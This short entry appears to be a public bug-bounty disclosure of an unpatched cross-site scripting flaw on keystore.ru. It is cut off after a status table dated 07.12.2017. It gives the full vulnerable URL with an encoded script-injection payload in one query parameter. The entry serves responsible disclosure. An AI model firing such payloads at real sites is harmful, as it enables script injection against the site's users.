keystore.ru XSS vulnerability

Vulnerable URL: http://keystore.ru/shop/brand/case-logic?userperpage=1%22%27--!%3E%3Cscript%3EalertOPENBUGBOUNTY%3C/script%3E=namedesc Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...